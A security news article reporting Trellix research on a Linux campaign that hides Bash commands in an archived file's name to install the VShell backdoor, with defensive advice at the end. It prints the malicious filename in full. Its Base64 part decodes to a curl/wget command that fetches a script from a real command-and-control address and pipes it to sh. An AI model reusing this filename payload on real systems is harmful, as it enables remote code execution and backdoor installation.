The Trellix Advanced Research Center has uncovered a sophisticated Linux malware campaign that weaponizes file metadata to bypass traditional security defenses, demonstrating how attackers are evolving beyond conventional exploit techniques to target systems previously considered secure.
Malicious Filenames as Attack Vectors
The attack begins with a deceptively simple spam email containing a RAR archive attachment disguised as a beauty product survey.
However, the real threat lies not in the archive’s contents, but in the specially crafted filename of the extracted file: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash.
This filename contains embedded Bash commands that execute automatically when processed by everyday shell operations like for f in * loops, eval "echo $f" statements, or file listing utilities.
The embedded payload decodes a Base64-encoded downloader script that connects to command and control servers at 47.98.194.60:8084.
Multi-Stage Infection Chain
Once triggered, the malware initiates a sophisticated three-stage deployment process. The initial Bash script detects the system architecture (x86, x64, ARM, ARM64) and downloads the appropriate ELF binary payload.
The downloader employs multiple fallback execution paths across standard writable directories, like /tmp, /usr/local/bin, and /usr/libexec, ensuring successful deployment even in restricted environments.
The final stage involves an in-memory loader that retrieves an XOR-encrypted payload (key: 0x99) from the C2 server.
The malware then decrypts and executes the VShell backdoor directly in memory using fexecve(), avoiding disk-based detection while masquerading as a legitimate Linux kernel thread named [kworker/0:2].
VShell Backdoor Capabilities
VShell represents a full-featured Go-based backdoor primarily associated with Chinese APT groups. The malware provides comprehensive remote access capabilities, including reverse shell access, file operations, process management, port forwarding, and encrypted C2 communications.
Its multi-architecture support enables targeting of diverse Linux environments from servers to IoT devices.
This attack methodology is particularly concerning because it bypasses traditional security measures that typically don’t scan filenames for malicious content.
The technique exploits a dangerous pattern typical in Linux shell scripts: evaluating filenames without proper sanitization.
Security teams should implement filename validation in automated scripts and monitor for suspicious process masquerading behaviors to defend against this emerging threat vector.
Find this Story Interesting! Follow us on Google News , LinkedIn and X to Get More Instant Updates
